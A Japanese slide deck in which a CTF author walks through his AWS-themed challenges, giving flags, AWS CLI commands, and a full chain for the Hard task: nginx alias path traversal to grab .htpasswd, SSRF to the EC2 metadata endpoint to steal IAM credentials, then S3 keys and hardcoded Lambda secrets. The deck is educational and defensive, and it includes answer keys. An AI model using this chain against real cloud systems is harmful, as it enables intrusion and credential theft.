Slide 1
Slide 1 text
Security-JAWS Days CTF
作問者解説
@tigerszk
Slide 2
Slide 2 text
自己紹介
Shun Suzaki(洲崎 俊)
三井物産セキュアディレクション株式会社に所属
ペネトレーションテストなどを中心としたセキュリティ
サービス提供に従事
コミュニティ運営・ITイベント開催などをライフワークと
するお祭り好きのPentester
I‘M A
CERTAIN
PENTESTER!
公開スライド :http://www.slideshare.net/zaki4649/
Blog :http://tigerszk.hatenablog.com/
著書（翻訳）：詳解HTTP/2・ハンズオンWebassembly
（監修）：ハッキングAPI
Twitter：とある診断員(@tigerszk)
Slide 3
Slide 3 text
AWSに特化したCTFを開催
2023/8/27にSecurity-JAWSさんとコラボして、
AWSサービスに特化したCTFイベントを開催してみました！
Security-JAWS DAYS DAY2
https://s-jaws.doorkeeper.jp/events/155025
Slide 4
Slide 4 text
ざっくりしたイベントの概要
• 出題する全問題が、AWSサービスに特化した内容のものと
なっている
• 現実世界でありがちなAWSにおけるセキュリティ問題を盛り
込んで作問し、参加いただいた方にAWSセキュリティに興味
を持っていただくことを目的として開催
• AWS初心者やCTFが初めての方向けの比較的優しめな問題も
出題
• 競技時間は5時間で、競技者はオンサイト＆リモートで参加
• 出題した全問題についてイベント内で解説を実施
Slide 5
Slide 5 text
スコアサーバーはこんな感じで構築
Public subnet
VPC
AWS Cloud
Private subnet
イベント参加者
EC2
ELB RDS
Slack
• ELB＋EC２＋RDSというシンプルな構成
• ELBでSSL化し、アクセスログはS3で取得
• CloudWatch＋SNS＋ChatBotでスコア
サーバーのリソース状況を監視してSlack
に通知
• Control Towerで問題環境とスコアサー
バー環境のAWS環境を分離
• EC2のインスタンスタイプは200人ぐらい
のアクセスを想定してm6i.xlargeを採用し
ましたが、想定よりアクセスする人数が少
なかったこともあり、当日は余裕な感じで
した。
なお、スコアサーバーを構築するにあたり以下のNFLabsさんのブログが大変参考になりました。
• MWS Cup 2022でスコアサーバ(CTFd)をAWSに用意してみた
https://blog.nflabs.jp/entry/2022/10/31/130107
• CTFdをAWS上に構築してみた
https://blog.nflabs.jp/entry/2022/11/08/160658
監視して通知
Slide 6
Slide 6 text
出題した問題
• 問題数は計30問を出題
• 出題した問題カテゴリ
✓ Trivia
✓ Warmup
✓ Easy
✓ Medium
✓ Hard
AWS初心者・CTF初参加の方向け
腕に自信がある方向け
今回私は、Warmup＆Easyの比較的簡単な問題を複数問と、Hard
の問題を1問作問しています。
なお、Triviaの問題については、S-JAWS運営の方に問題内容を検
討していただきました。
Slide 7
Slide 7 text
以降は、私が出題した問題の解説を
記載します。
Slide 8
Slide 8 text
Trivia
Slide 9
Slide 9 text
Triviaの問題について
• S-JAWS運営の方が考えてくださった全13問のAWSサービス＆AWS
セキュリティにまつわるクイズでした。
• AWSをあまり触ったことがない人でも、検索すれば答えにたどり着
ける内容の問題を出題しています。
• Triviaの各問題についてはもれなく大体8割以上の人が正答されてい
る状況でした。
※イベント中に配布した解説資料のTriviaの部分に一部記載ミスがあり
内容を修正しています。すいません…。
Slide 10
Slide 10 text
No 問題文 FLAG
1
Security-JAWS#01の開催年月日はいつでしょうか？
(yyyymmdd形式でご回答ください)
20160517
2
AWS WAFv2がリリースされたのは何年何月？
(yyyymm形式でご回答ください)
201911
3
AWS Acount IDは何桁？
（x桁の数字の部分のみをご回答ください。）
12
4 IAM Policyで一番強い権限のAWSマネージドポリシー名は？ AdministratorAccess
5
AWS Security HubのAWS 基礎セキュリティのベストプラクティ
ス v1.0.0でチェックされるパスワードポリシーの最小桁数はいく
つ？ （x桁の数字の部分のみをご回答ください。）
8
6
AWS Config Rulesのrestricted-sshでNONCONPLIANTとなる
CIDRは？
0.0.0.0/0
Slide 11
Slide 11 text
No 問題文 FLAG
7
AWS WAFのfreeのManaged Rule GroupsにおいてもっともWCUの
高いルールのWCU値はいくつか？
700
8
Amazon GuardDutyの追加で設定できる保護プランは、S3
Protection・EKS Protection・RDS Protection・Lambda
Protectionと後何？
(xxxxxxx Protectionのxxxxxxxの部分をご回答ください)
Malware
9
FIPS 準拠に関する国家安全保障局の CNSSP 15 と、2 層の CNSA
暗号化に関する保存データ機能パッケージ (DAR CP) バージョン
5.0 ガイダンスを満たすように設計されたS3のセキュリティ機能の
名称は？
DSSE-KMS
10
Route53にてドメイン登録をする際に、ドメインのチェックを行う必
要がありますが、チェック可能なドメイン長は最大で何文字？
（x文字の数字の部分のみをご回答ください。）
255
11
クラウドホスト型決済アプリケーションにおける暗号化オペレーショ
ンの簡素化を支援するAWSのマネージドサービスは？
AWS Payment
Cryptography
12
Route53 resolver DNS Firewallにおいて、AWS Managed Domain
Listが4つ用意されています。その内、最も文字数の少ないドメイン
リストを答えてください。
AWSManagedDomain
sMalwareDomainList
Slide 12
Slide 12 text
No 問題文 FLAG
13
以下のCloudTrailログを読み取り、作成されたユーザー名を回答し
てください。
KRJXVVAWC13R
"eventTime": "2022-10-15T22:05:16Z",
"eventSource": "iam.amazonaws.com",
"eventName": "CreateUser",
"awsRegion": "us-east-1",
"sourceIPAddress": "AWS Internal",
"userAgent": "AWS Internal",
"requestParameters": {
"userName": "KRJXVVAWC13R",
"tags": []
※配布したログの一部を抜粋
Slide 13
Slide 13 text
Warmup
Slide 14
Slide 14 text
• コンセプトとしては、CTF初心者の方でも解けるような内容の問題の出題
を意識しました。
• AWSセキュティというよりかは、AWS CLIの操作など基礎的な知識を要求
するような問題を出題しています。
• AWS CLIに不慣れな方もいらっしゃると思いましたので、マネジメントコ
ンソールを操作するような問題も出題しています。
• 「Show IAM policy」や「Run Function」は想定していたよりも正答率が
悪かったので、もっと早くヒントをだしたり、カテゴリをEasyにしてもよ
かったかなと振り返って思いました。
Warmupの問題について
Slide 15
Slide 15 text
回答者数：92
Slide 16
Slide 16 text
AWS CLI practice
アクセスキーからAWSアカウントを答えさせるだけの超簡単問題。
アクセスキーを設定
aws configure --profile practice
AWSアカウントを出力
aws sts get-caller-identity --profile practice
Slide 17
Slide 17 text
回答者数：83
Slide 18
Slide 18 text
パスワードを安全に管理したいサービスとはズバリ「AWS Secrets Manager」です。
マネジメントコンソールで、アクセスしに行くとFLAGを取得できます。
Where is the password?
Slide 19
Slide 19 text
回答者数：85
Slide 20
Slide 20 text
Find data 1
バケツ＝S3 bucketの中にFLAGが置いてあるよという意味でした。
マネジメントコンソールで、アクセスしに行くとFLAGを取得できます。
Slide 21
Slide 21 text
回答者数：72
Slide 22
Slide 22 text
Find data 2
アクセスキーを設定
aws configure --profile finddata2
S3を見に行くとhimituno-bucket2にアクセスでき1000個のディレクトリが存在し、flag.jpgという
ファイルが存在することが分かる
aws s3 ls s3://himituno-bucket2/SECRET/ --profile finddata2
Find data1と同様にS3内に配置されたデータを見に行くという問題です。
アクセスキーを利用してS3バケットを見に行くと、大量のディレクトリの下にflag.jpgと
いうファイルが存在することが分かります。
この中から当たりの画像を探せという内容となっています。
Slide 23
Slide 23 text
以下のようにファイルサイズを比較すると一つだけファイルサイズが異なることが分かる。
aws s3 ls s3://himituno-bucket2/SECRET/ --recursive --human --sum --profile finddata2
| awk -F ' +' '{printf "%s%s %s¥n",$3,$4,$5}'|sort -n
正解の画像をダウンロードしてファイルを開くとFLAGの値が書いてある。
aws s3 cp s3://himituno-bucket2/SECRET/444/flag.jpg flag.jpg --profile finddata2
Find data 2
他にも色々方法はありますが、例えばAWS CLIを利用して以下のようにファイルサイズを
比較すると一つだけ大きさが違うファイルが存在することが分かります。
ちなみに当たりのディレクトリの数字は〇物語のサメから来ていますｗ
Slide 24
Slide 24 text
回答者数：48
Slide 25
Slide 25 text
Show IAM policy
アクセスキーを設定
aws configure --profile showiam
AWSアカウントを出力。アクセスキーに紐づくIAMユーザーの名前がわかる。
aws sts get-caller-identity --profile showiam
IAMユーザーが所属するグループ名を調査
aws iam list-groups-for-user --user-name ctf_challenge_5 --query 'Groups[].GroupName'
--profile showiam
該当のグループにアタッチされているインラインポリシーの内容を確認
aws iam get-group-policy --group-name ctf5 --policy-name selfcheck ¥
--query 'PolicyDocument' --profile showiam
アクセスキーからIAMに設定されているポリシーの内容を確認します。
IAMユーザーには直接アタッチされておらず、グループにアタッチされています。
Slide 26
Slide 26 text
Sidの値にBase64の値が確認できるので、デコードすればFALGを獲得できます。
ちなみに、ここまで到達していても意外とこの文字列に気づいてくれなかった方が結構い
らっしゃったのでもうちょい工夫すべきだったなあというのが反省点ですね。
Show IAM policy
Slide 27
Slide 27 text
回答者数：52
Slide 28
Slide 28 text
Run Function
アクセスキーを設定
aws configure --profile runfunction
アクセスキーに紐づくIAMユーザーの名前がわかる。
aws sts get-caller-identity --profile runfunction
アタッチされているインラインポリシーの名前を確認
aws iam list-user-policies --user-name ctf_challenge_6 --profile runfunction
ポリシードキュメントを確認するとlambda関数の実行権限がついていることが分かる
aws iam get-user-policy --user-name ctf_challenge_6 --policy-name runlambda ¥
--query 'PolicyDocument' --profile runfunction
アクセスキーにアタッチされている権限を確認していくと、「run_me」というlamda関
数に対する実行権限を有していることがわかります。
Slide 29
Slide 29 text
Run Function
Slide 30
Slide 30 text
Run Function
「run_me」を実行する。
aws lambda invoke --function-name run_me out --profile runfunction
実行結果を確認すると以下のような応答を確認できる。
{"statusCode": 200, "body": "¥"Look at the log!¥""}
「run_me」実行時にログを出力し、base64デコードすればflagを獲得できる。
aws lambda invoke --function-name run_me out --log-type Tail --query 'LogResult' ¥
--output text --profile runfunction | base64 -d
「run_me」の実行結果より、ログを見る必要があることがわかります。
ログの値はbase64されているのでデコードすればFLAGを獲得できます。
Slide 31
Slide 31 text
Easy
Slide 32
Slide 32 text
回答者数：20
Slide 33
Slide 33 text
Webページにアクセスして、HTMLソースを確認してみるとこのWebサイトはなん
らかのAWSサービスを利用していると書いてあります。
CTFに慣れてない方はHTMLソースを見てみるという所になかなか気づかない方が多
かったのでこれももっと早めにヒント出せばよかったなと思っています。
Recon the website
Slide 34
Slide 34 text
S3を利用していることが分かる
ドメインに紐づくIPアドレスを調べるとS3を利用していることが分かります。
Slide 35
Slide 35 text
S3の仕様
• Amazon S3のバケット名はグローバルに一意であり、名前空間はすべての
AWS アカウントにて共有されています。
• S3バケットを利用して独自ドメインを利用して、静的なサイトをホスティ
ングする場合には、前提としてバケット名とドメイン名が一致する必要が
あります。
• そのためドメイン名がimage.toaru.siteであるため、バケット名が
website.scjdaysctf2023.netであることが推測できます。
【参考】 独自ドメインを使用して静的ウェブサイトをセットアップする
https://docs.aws.amazon.com/ja_jp/AmazonS3/latest/dev/website-hosting-
custom-domain-walkthrough.html
Slide 36
Slide 36 text
S3バケットのURLの仕様
【参考】Amazon S3 バケットの使用 バケットへのアクセス
https://docs.aws.amazon.com/ja_jp/AmazonS3/latest/userguide/access-bucket-intro.html
• S3バケットは、リソースを一意に識別するURLを持ちます。
• URLは以下2種類のタイプが存在します。
◆ 仮想ホスト形式
1. http://バケット名.s3-リージョン名.amazonaws.com/
2. http://バケット名.s3.amazonaws.com/
※2019 年 3 月 20 日より後に開始されたリージョンで作成されたバケットでは2の形式(レガシーグローバルエンドポイント)で
は到達できないようです。
◆ パス形式
1. http://s3-リージョン名.amazonaws.com/バケット名
2. http://s3.amazonaws.com/バケット名
※米国東部 (バージニア北部) リージョンは2の形式で、他のリージョンは1の形式となります。パス形式は将来的には廃止が検討
されているようです。
Slide 37
Slide 37 text
仕様からURLがわかる
S3バケットの仕様より、このWebサイトを公開しているS3バケットのURLは以下と
分かります。
◆ 仮想ホスト形式
• http://website.scjdaysctf2023.net.s3-ap-northeast-1.amazonaws.com/
• http://website.scjdaysctf2023.net.s3.amazonaws.com/
◆ パス形式
• http://s3-ap-northeast-1.amazonaws.com/website.scjdaysctf2023.net/
Slide 38
Slide 38 text
FLAGを獲得
アクセスするとS3バケットのファイルの一覧を確認できます。
FLAGのprefixがわかるため、アクセスすればFLAGを獲得できます。
Slide 39
Slide 39 text
この問題のコンセプト
• 現実世界でも度々問題になっている、S3バケットの設定不備によって情報
が漏洩してしまうケースをモチーフにした問題でした。
• Ｓ3の仕様からエンドポイントを推測され情報漏洩へとつながってしまう
ケースがあることをお分かりいただければ幸いです。
Slide 40
Slide 40 text
回答者数：63
Slide 41
Slide 41 text
Find data 3
アクセスキーを利用すると１・２と同様にS3バケットにアクセスできることが分かります。
S3バケット上に配置されているファイルの内容より、機密ファイルが削除されたことがう
かがえます。
アクセスキーを設定
aws configure --profile finddata3
S3を見に行くとhimituno-bucket3にアクセスでき、readme.txtというファイルが存在するため、ダウ
ンロードしてみる。
aws s3 cp s3://himituno-bucket3/readme.txt . --profile finddata3
readme.txtからは以下のメッセージを確認できる。
It was pointed out that placing sensitive data on S3 is not recommended, so I removed
it.
Slide 42
Slide 42 text
S3のバージョニングについて
• S3のバージョニング機能とは、S3バケット内でファイルを更新した場合な
どに、異なるオブジェクトの状態をバージョンとして保持してくれる機能
です。
• S3 のバージョニング機能を使用すると、バケットに保存されたすべてのオ
ブジェクトのすべてのバージョンを、保存、取得、復元することができま
す。
• バージョン数の上限については特に定められていないようです。
• デフォルトでは無効化されているので、利用するには有効化する必要があ
ります。
【参考】Amazon Simple Storage Service S3 バケットでのバージョニングの使用
https://docs.aws.amazon.com/ja_jp/AmazonS3/latest/userguide/Versioning.html
Slide 43
Slide 43 text
削除前のデータの情報を確認
S3バケットにおけるオブジェクトバージョンの一覧を取得
aws s3api list-object-versions --bucket himituno-bucket3 --profile finddata3
調査をするとSECRET_DATAというファイルのデータが論理的な削除として扱われている
だけで元々のファイルがバケット上に存在していることが確認できます。
Slide 44
Slide 44 text
FALGを獲得
指定したバージョンのファイルを取得
aws s3api get-object --bucket himituno-bucket3 --key SECRET_DATA SECRET_DATA ¥
--version-id MO4Xz6sB8DONDjCid6ideiRgfdyywcSv --profile finddata3
削除前のSECRET_DATAのファイルを取得して、中身を確認するとFLAGを取得できます。
Slide 45
Slide 45 text
この問題のコンセプト
• S3のバージョンニング機能の知識を問う問題でした。
• また、セキュリティ的な観点からだと、このように見た目上は削除さ
れていても、情報が完全に消去できていないケースはよくあります。
そのため、機密性の高い情報などを取り扱う場合にはご注意ください。
Slide 46
Slide 46 text
Hard
Slide 47
Slide 47 text
回答者数：2
Slide 48
Slide 48 text
nginxのコンフィグが配布されている
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html index.php;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ ¥.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
location /assets {
alias /usr/share/static/;
}
location /admin/ {
auth_basic "Restricted";
auth_basic_user_file /usr/share/secret/.htpasswd;
location ~^/admin/proxy/(?.*?)/(?.*)$ {
proxy_pass http://$proxy_host/$proxy_path;
proxy_set_header Host $proxy_host;
}
}
}
Slide 49
Slide 49 text
設定ファイルよりわかること
配布されているnginx.confの内容より、このWebサーバには二つの設定不備
が存在することが分かります。
1. location /assetsの設定に不備があり、パストラバーサルの脆弱性が存
在する。
2. location ~^/admin/proxy/については特に値が制限されていないため
SSRF攻撃に利用できそう(※)
※正し、location /admin/の設定をみると分かる通り、Basic認証が設定
されているため、すぐにはアクセスできなさそう。
Slide 50
Slide 50 text
パストラバーサルの脆弱性
location /assets {
alias /usr/share/static/;
}
【参考】 nginxの設定ミスで起こるパス トラバーサル
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb
/で終端していないため..を利用してディレクトリを
遡れる
Slide 51
Slide 51 text
SSRFに利用できそう
location /admin/ {
auth_basic "Restricted";
auth_basic_user_file /usr/share/secret/.htpasswd;
location ~^/admin/proxy/(?.*?)/(?.*)$ {
proxy_pass http://$proxy_host/$proxy_path;
proxy_set_header Host $proxy_host;
}
}
/admin配下はBasic認証が設定されている
URLパスに任意の値を指定することで、任意の宛先
にhttp通信を行うことが可能
【参考】 nginxの設定ミスで起こるSSRF
https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
Slide 52
Slide 52 text
.htpasswdを入手
パストラバーサルの設定不備を利用して以下のURLにアクセスすることで、
Basic認証の認証情報が記載されている.htpasswdファイルを入手すること
が可能です。
http://apjweb.scjdaysctf2023.net/assets../secret/.htpasswd
Slide 53
Slide 53 text
パスワードをクラックする
John the ripperなどを利用すれば.htpasswdファイルからBasic認証のパス
ワードを割り出すことが可能です。
Slide 54
Slide 54 text
/adminにアクセスすると
以下のようなメッセージがあり、phpMyAdminのログインページにアクセスす
ることができます。
Slide 55
Slide 55 text
SSRF(Server Side Request Forgery)
• 指定した任意のリソースに対してHTTPリクエストを行うように、サーバサイドアプリケーションを誘
導させる攻撃手法です。
• 脆弱性の存在するサーバを踏み台として他サーバにアクセスさせることによって、本来は直接到達する
ことができないサーバに対してアクセスすることが可能です。
【参考】SSRF基礎
https://speakerdeck.com/hasegawayosuke/ssrfji-chu
【参考】SSRF(Server Side Request Forgery)徹底入門
https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html
192.168.0.x
内部NWのサーバ
公開サーバ
通常は内部NWに直接はアクセスできない
攻撃者
正常遷移のリクエスト
②本来はアクセスできない内部NWサーバ
（192.168.0.x）に対して公開サーバーを経由し
てリクエストが送信される
xxx/?URL=http://192.168.0.x
xxx/?URL=http://www.example.com
http://192.168.0.x
①パラメータの値を任意のURL値に変更して送信
Slide 56
Slide 56 text
クラウド環境での悪用
• AWSなどのパブリッククラウドサービスではメタデータサービスと呼ばれる機能
が存在します。
• この機能は、メタデータと呼ばれるインスタンス固有のデータ(インスタンスID、
OSデータ、一時的に付与される認証情報など)を内部WebAPIを通じて取得すると
いった仕組みとなっています。
• クラウド環境のサーバにSSRFの脆弱性が存在する場合には、この機能を悪用され
このメタデータを不正に取得されてしまう可能性があります。
【参考】インスタンスメタデータとユーザーデータ
https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
Slide 57
Slide 57 text
一時的な認証情報の取得
• IAMロールという仕組みでAWSのサービスに対して、権限を付与すること
ができることは既に説明した通りです。
• EC2にIAMロールアタッチされている場合には、このメタデータAPIより
IAMロールの権限を一時的な認証情報として取得して、自由に利用するこ
とができます。
AWS側のメタデータAPI
EC２インスタンス
一時的な認証情報を返す
http://169.254.169.254/latest/meta-data/…
IAMロールがアタッチ
IAMロールの権限を利用するために、EC2からAWSのメタデータAPIに対して、通
信が行われIAMロールの権限に紐づく一時的な認証情報の取得している。
Slide 58
Slide 58 text
SSRFの原理を利用して認証情報を窃取
• IAMロールがアタッチされたEC2インスタンスにおいて、この脆弱性を悪用された場合には、
EC２にアタッチされたIAMロールに紐づいた認証情報を窃取されてしまう可能性があります。
AWS側のメタデータAPI
SSRFの脆弱性が
存在するEC２
攻撃者
②EC2からAWSのメタデータAPIに対して一時的な認証情報の取得
を勝手に要求される
xx/?URL=http://169.254.169.254/latest/meta-data/…
認証情報を含んだ結果が返る
http://169.254.169.254/latest/meta-data/…
認証情報を窃取
正常遷移のリクエスト
xxx/?URL=http://www.example.com
①パラメータの値をメタデータサーバのURL値に変更して送信
③攻撃者は脆弱性が存在するEC2からのレスポンスから、
EC2に一時的に付与された認証情報（アタッチされたIAM
ロールに紐づく）を取得することができる
IAMロールがアタッチ
Slide 59
Slide 59 text
SSRFを利用して認証情報を奪取
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/m
eta-data/iam/security-credentials
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/m
eta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
メタデータAPIにアクセスさせることで、EC2にアタッチされているロール名
がec2role_p1lhf6h4q395quであることがわかります。
入手したロール名を利用して認証情報を要求するメタデータAPIのエンドポ
イントにアクセスを行います。
Slide 60
Slide 60 text
一時的な認証情報を奪取
※一部を黒塗りにしています。
Slide 61
Slide 61 text
S3にアクセス可能
S3バケットの一覧を列挙
aws s3 ls --profile ec2role
※取得した認証情報を利用してec2roleというプロファイルを作成しています。
S3バケット「backup-37szjp8pny7xx01」の中身を列挙
aws s3 ls s3://backup-37szjp8pny7xx01 --profile ec2role
S3バケットに配置されていたアクセスキーをダウンロード
aws s3 cp s3://backup-37szjp8pny7xx01/dboperator_accessKeys.csv . ¥
--profile ec2role
アタッチされていたロールではS3バケット「backup-37szjp8pny7xx01」にアクセ
ス可能となっています。
また、当該S3バケットには、バックアップされたSQLファイルとアクセスキーが配
置されていることがわかります。
Slide 62
Slide 62 text
アクセスキーを調査
アクセスキーが紐づくIAMユーザー名を確認
aws sts get-caller-identity --profile dboperator
アタッチされているポリシーの確認（カスタム管理ポリシー「dboperator」がアタッチされていること
がわかる）
aws iam list-attached-user-policies --user-name dboperator --profile dboperator
カスタム管理ポリシー「dboperator」のポリシーバージョンを確認
aws iam get-policy --policy-arn arn:aws:iam::055450064556:policy/dboperator ¥
--profile dboperator
バージョンを指定し、カスタム管理ポリシー「dboperator」の内容を確認
aws iam get-policy-version --policy-arn arn:aws:iam::055450064556:policy/dboperator ¥
--version-id v6 --profile dboperator
入手したアクセスキーを利用してアタッチされているIAMポリシーの調査を行います。
Slide 63
Slide 63 text
IAMポリシーの内容
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"lambda:List*",
"lambda:GetFunction",
"lambda:InvokeFunction"
],
"Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup*"
},
{
"Effect": "Allow",
"Action": [
"iam:Get*",
"iam:List*"
],
"Resource": [
"arn:aws:iam::055450064556:policy/dboperator",
"arn:aws:iam::055450064556:user/dboperator"
]
}
]
}
db-buckupというLambda関数に対して実行権限と
読み取りの権限があることがわかる。
Slide 64
Slide 64 text
Lambda関数の実行
Lambda関数を実行する。レスポンスはbase64形式となっているのでデコードすると読める。
aws lambda invoke --function-name db-buckup out --log-type Tail ¥
--query 'LogResult' --output text --profile dboperator| base64 -d
Lambda関数を実行すると成功し、S3上にSQLファイルが生成されます。
どうやらDBバックアップを行うためのものであることが推測されます。
※ちなみにlambda関数の名前をtypoしていることを参加者の方のWriteupでのご指摘にて
ようやく気づきましたorz…。恥ずかしいｗ
基本的に深夜に作問していたのでご勘弁くださいｗ
Slide 65
Slide 65 text
どうでもいい情報ですが
バックアップとしてダンプしていたSQLファイルのテーブルには、
「水星の魔女」のキャラクターの名前をネタとして記載していました。
気づいてくれていた方がいなさそうなのでちょっと残念…。
Slide 66
Slide 66 text
Lambda関数の内容を調査
lambda関数のバージョンを全て列挙。
aws lambda list-versions-by-function --function-name db-buckup ¥
--profile dboperator
対象のlambda関数を調査すると、複数のバージョンが存在し、Descriptionの記載
内容から、最新のバージョンでパスワードの暗号化が実装されたことがわかります。
Version 1 Version 2
Slide 67
Slide 67 text
DBユーザーの認証情報を入手
古いバージョンのLambda関数をダウンロードし、コードを確認すると、変数
内に認証情報がハードコードされていることが確認できます。
古いバージョンを指定して、lambda関数(バージョンを指定して)のコードをダウンロード。
aws lambda get-function --function-name db-buckup ¥
--qualifier 1 --profile dboperator
Slide 68
Slide 68 text
ちょっとした補足
• ちなみに最新バージョンの修正済みのコードでは、環境変数に設定した暗
号化された値を、KMSを利用して復号するようなコードが実装されていま
す。
• コード中に認証情報をハードコードしていなかったとしても、環境変数に
そのまま認証情報を設定しているような実装の場合には、このように
lambda関数の読み取り権限を有していれば、簡単に値を取得することが可
能なので注意が必要です。
• 実際のペネトレーションテストの現場でも環境変数から認証情報を取得で
きるケースはしばしばあります。
Slide 69
Slide 69 text
FLAGを獲得
認証情報を利用してphpMyAdminにアクセスすればFLAGを獲得できます。
Slide 70
Slide 70 text
この問題のコンセプト
• 今までご覧いただいた通り、比較的難易度の低い問題を量産していた
感じなので、ちょっと重めの問題を作問しようと頑張ってみました。
• タイトル通り、AWS環境におけるペネトレーションテストを体験して
もらうような内容をイメージして作問してみました。
• Nginxの設定不備は現実世界でもあり得る設定不備だと思うので注意
が必要です。
• lambda関数に関わらず古いコードが残っていて、セキュリティ的な
問題に発展することも良くあるケースなので注意が必要です。
• こういった複数の問題が重なり、侵害につながってしまうケースがあ
りえるということをご認識いただければ幸いです。
Slide 71
Slide 71 text
イベントに参加いただいた方に圧倒的感謝！
ありがとうございました！